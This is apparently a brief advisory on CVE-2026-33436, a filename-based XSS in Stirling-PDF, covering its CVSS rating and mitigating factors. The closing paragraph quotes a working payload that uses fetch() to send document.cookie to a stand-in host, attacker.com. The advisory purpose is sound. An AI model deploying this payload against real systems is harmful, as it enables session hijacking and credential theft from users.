Stirling Pdf CVE-2026-33436

The vulnerability requires the victim to actively upload a file with a malicious filename through Stirling-PDF's web interface. The attacker has no direct control over execution-successful exploitation depends entirely on user interaction (UI:R per CVSS). The attack surface is further limited by the fact that Stirling-PDF is a locally hosted application; if deployed in single-user or isolated environments, the attack vector is negligible. However, in multi-user deployments where unauthenticated or semi-authenticated users can access upload functionality, the risk increases. The vulnerability does not exploit a default misconfiguration or require special product settings-any upload endpoint that renders filenames in HTML is affected. The high attack complexity (AC:H) reflects the social engineering requirement and the need for a victim to view a page displaying the malicious filename. No privilege escalation is required.

Despite the modest CVSS score of 3.1, this vulnerability presents limited real-world risk due to multiple mitigating factors embedded in the attack vector. The CVSS vector (AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) confirms: network-accessible but high attack complexity (AC:H), no privileges required, and critically, required user interaction (UI:R). The scope is unchanged (S:U), and impact is strictly confidentiality (C:L) with no integrity or availability impact. The attack requires a victim to explicitly upload a malicious file, limiting the attack surface to authenticated or semi-trusted users with file upload permissions. The low CVSS score aligns with genuine exploitation difficulty: an attacker must socially engineer a user to upload a specifically crafted file, and the resulting XSS is scoped to that user's session with limited data exfiltration capability (L:C). This is a lower-priority vulnerability compared to unauthenticated remote code execution or network-accessible authentication bypasses. However, organizations hosting Stirling-PDF in multi-user environments where untrusted users have upload access should prioritize patching to prevent session hijacking or credential theft from legitimate users.

An attacker crafts a file with a malicious filename such as 'report<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">.pdf' and tricks a legitimate Stirling-PDF user into uploading it via social engineering. When the application renders the filename in the upload confirmation or file list page using innerHTML, the embedded JavaScript executes in the victim's browser, exfiltrating session cookies or performing actions on behalf of the victim. The attack succeeds only if the user completes the file upload and views a page that displays the filename unsanitized.